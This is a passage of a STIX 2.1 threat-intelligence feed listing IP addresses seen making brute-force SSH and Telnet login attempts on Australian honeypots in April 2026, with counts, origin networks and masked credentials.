      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.33.186.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): m******t. Passwords observed (masked): t*****g.",
      "id": "indicator--369d2f00-8e5a-4b89-aa66-db9328941364",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.92.6.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 131414. Organisation(s): Long Van Soft Solution JSC.",
      "id": "indicator--d2076ee5-7f8c-4246-8bea-fed0e2b4c6bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.118.146.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc..",
      "id": "indicator--85d9fff4-e836-4ce8-9bc5-4b159b6f7d77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-26T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262797. Organisation(s): PROVALE SCM LTDA.",
      "id": "indicator--1a1146d8-9fb6-4eff-8d36-101abc2a5218",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.72.94.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:15:10.000Z",
      "valid_until": "2026-05-28T00:15:08.000Z"
    },
    {
      "created": "2026-04-26T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--04bc6e0d-d038-482d-91df-73974f1cdb8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '169.224.21.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:15:10.000Z",
      "valid_until": "2026-05-28T00:15:08.000Z"
    },
    {
      "created": "2026-04-26T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--b65c3161-596d-4a63-914d-3661a14bad49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '174.162.115.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:15:10.000Z",
      "valid_until": "2026-05-28T00:15:08.000Z"
    },
    {
      "created": "2026-04-26T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 49889. Organisation(s): Crystal Telecom Ltd.",
      "id": "indicator--c2fec07e-80e4-4972-a2ef-43551e300717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.98.25.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:15:10.000Z",
      "valid_until": "2026-05-28T00:15:08.000Z"
    },
    {
      "created": "2026-04-26T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 10013. Organisation(s): FreeBit Co.,Ltd..",
      "id": "indicator--ac2d0610-e6aa-4c32-9ae9-3497aa30b39e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.134.86.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:15:10.000Z",
      "valid_until": "2026-05-28T00:15:08.000Z"
    },
    {
      "created": "2026-04-26T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--6cca74b9-a61f-43d7-8b79-85e9d189b851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.239.86.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:15:10.000Z",
      "valid_until": "2026-05-28T00:15:08.000Z"
    },
    {
      "created": "2026-04-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17621. Organisation(s): China Unicom Shanghai network. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3c6d9c53-7968-45bc-989b-6a32b249be18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.75.230.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:15:11.000Z",
      "valid_until": "2026-05-28T01:15:08.000Z"
    },
    {
      "created": "2026-04-26T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): d****y, r**t. Passwords observed (masked): A*************5, f*******!.",
      "id": "indicator--fcb0e40d-3f27-44bc-bb84-f85af7b88e0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.58.219.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:15:11.000Z",
      "valid_until": "2026-05-28T01:15:08.000Z"
    },
    {
      "created": "2026-04-26T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 17754. Organisation(s): Excellmedia. Usernames observed (masked): d****y, p******s, r**t, 3**********4, d******r. Passwords observed (masked): 3***********4, 3**********4, A*******., H*********4, P******d.",
      "id": "indicator--e14d67a0-ca75-48d2-b7a4-005e3ccb1e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.101.131.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:15:11.000Z",
      "valid_until": "2026-05-28T01:15:08.000Z"
    },
    {
      "created": "2026-04-26T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28649. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
      "id": "indicator--c2eda69c-fa51-4df3-9cbf-6b9927e6663d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.125.128.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:15:11.000Z",
      "valid_until": "2026-05-28T01:15:08.000Z"
    },
    {
      "created": "2026-04-26T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): r**t, u****u, 3**********4, d****n, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 8****0, A*******..",
      "id": "indicator--c26fad27-8a42-4e18-aeb7-d91630519b13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.189.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:15:11.000Z",
      "valid_until": "2026-05-28T01:15:08.000Z"
    },
    {
      "created": "2026-04-26T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--47e04933-e953-44ef-9af0-ac91d65e3fe4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.211.15.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T01:15:11.000Z",
      "valid_until": "2026-05-28T01:15:08.000Z"
    },
    {
      "created": "2026-04-26T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28509. Organisation(s): Cablemas Telecomunicaciones SA de CV.",
      "id": "indicator--c2068b06-f40a-42ef-837d-8b18e2af93bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.184.7.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T02:15:10.000Z",
      "valid_until": "2026-05-28T02:15:08.000Z"
    },
    {
      "created": "2026-04-26T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 262191. Organisation(s): LIBERTY NETWORKS DE COLOMBIA S.A.S.",
      "id": "indicator--409be16a-7745-427d-b8ee-0f19cec8a40e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.242.0.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T02:15:10.000Z",
      "valid_until": "2026-05-28T02:15:08.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--ea7c2453-e0f8-4858-a7b5-19d1d0bb4d98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.225.23.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company. Usernames observed (masked): r**t, 3**********4, m****r, ***, s***y. Passwords observed (masked): 3***********4, 3**********4, @****!, C*****3, N**3.",
      "id": "indicator--7c4c9778-2131-49f8-9c71-1b9b7408e1c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.92.70.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--852ea53f-c91d-43e6-bc5f-2b0efba7a0e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.86.105.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u**r, 3**********4, b*****r, ***. Passwords observed (masked): 0**0, 0****3, 1****6, 1******c, 1********!.",
      "id": "indicator--90434ad5-fcff-4829-b6e4-30aa022a7cc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.59.18.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--cf173c6b-41a7-4545-809f-13f898b80876",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.33.152.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--690d949d-c1ec-41db-87b6-3b7860962845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--609281d0-12b3-46df-a80a-1d40a8680dc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T03:15:11.000Z",
      "valid_until": "2026-05-28T03:15:09.000Z"
    },
    {
      "created": "2026-04-26T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--bd3c2c15-4839-49e7-ad54-50505e331879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.70.103.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T04:15:15.000Z",
      "valid_until": "2026-05-28T04:15:08.000Z"
    },
    {
      "created": "2026-04-26T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--298744d1-197b-46bb-8b02-0325c6a5ba82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.76.225.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T04:15:15.000Z",
      "valid_until": "2026-05-28T04:15:08.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--232696a6-4e08-461d-a9bd-83080c5be0ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.205.246.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--682f2aa8-a50f-4b31-8d65-858128bcff42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.115.103.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--02f6bcbf-349f-4417-9f44-555fc7ed6bbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--1db168ed-8d3b-44f3-8b27-503e0d8fdfeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.76.195.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--081c8e2c-9d18-48c3-a7b4-900591042b9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '84.54.71.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--7a97d520-90f0-45c8-b1e3-ec99738647ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.228.194.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 61384. Organisation(s): TK NEON Ltd..",
      "id": "indicator--b0c56972-9460-48e3-8999-b8a2d1e8d093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '93.170.132.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc.",
      "id": "indicator--f09ba96d-d051-41f6-8892-d7de9c127297",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.24.250.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T05:15:11.000Z",
      "valid_until": "2026-05-28T05:15:09.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--381b64ea-b7f7-4d8e-844f-a6f490bfb040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.144.127.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T06:15:10.000Z",
      "valid_until": "2026-05-28T06:15:08.000Z"
    },
    {
      "created": "2026-04-26T06:15:10.000Z",
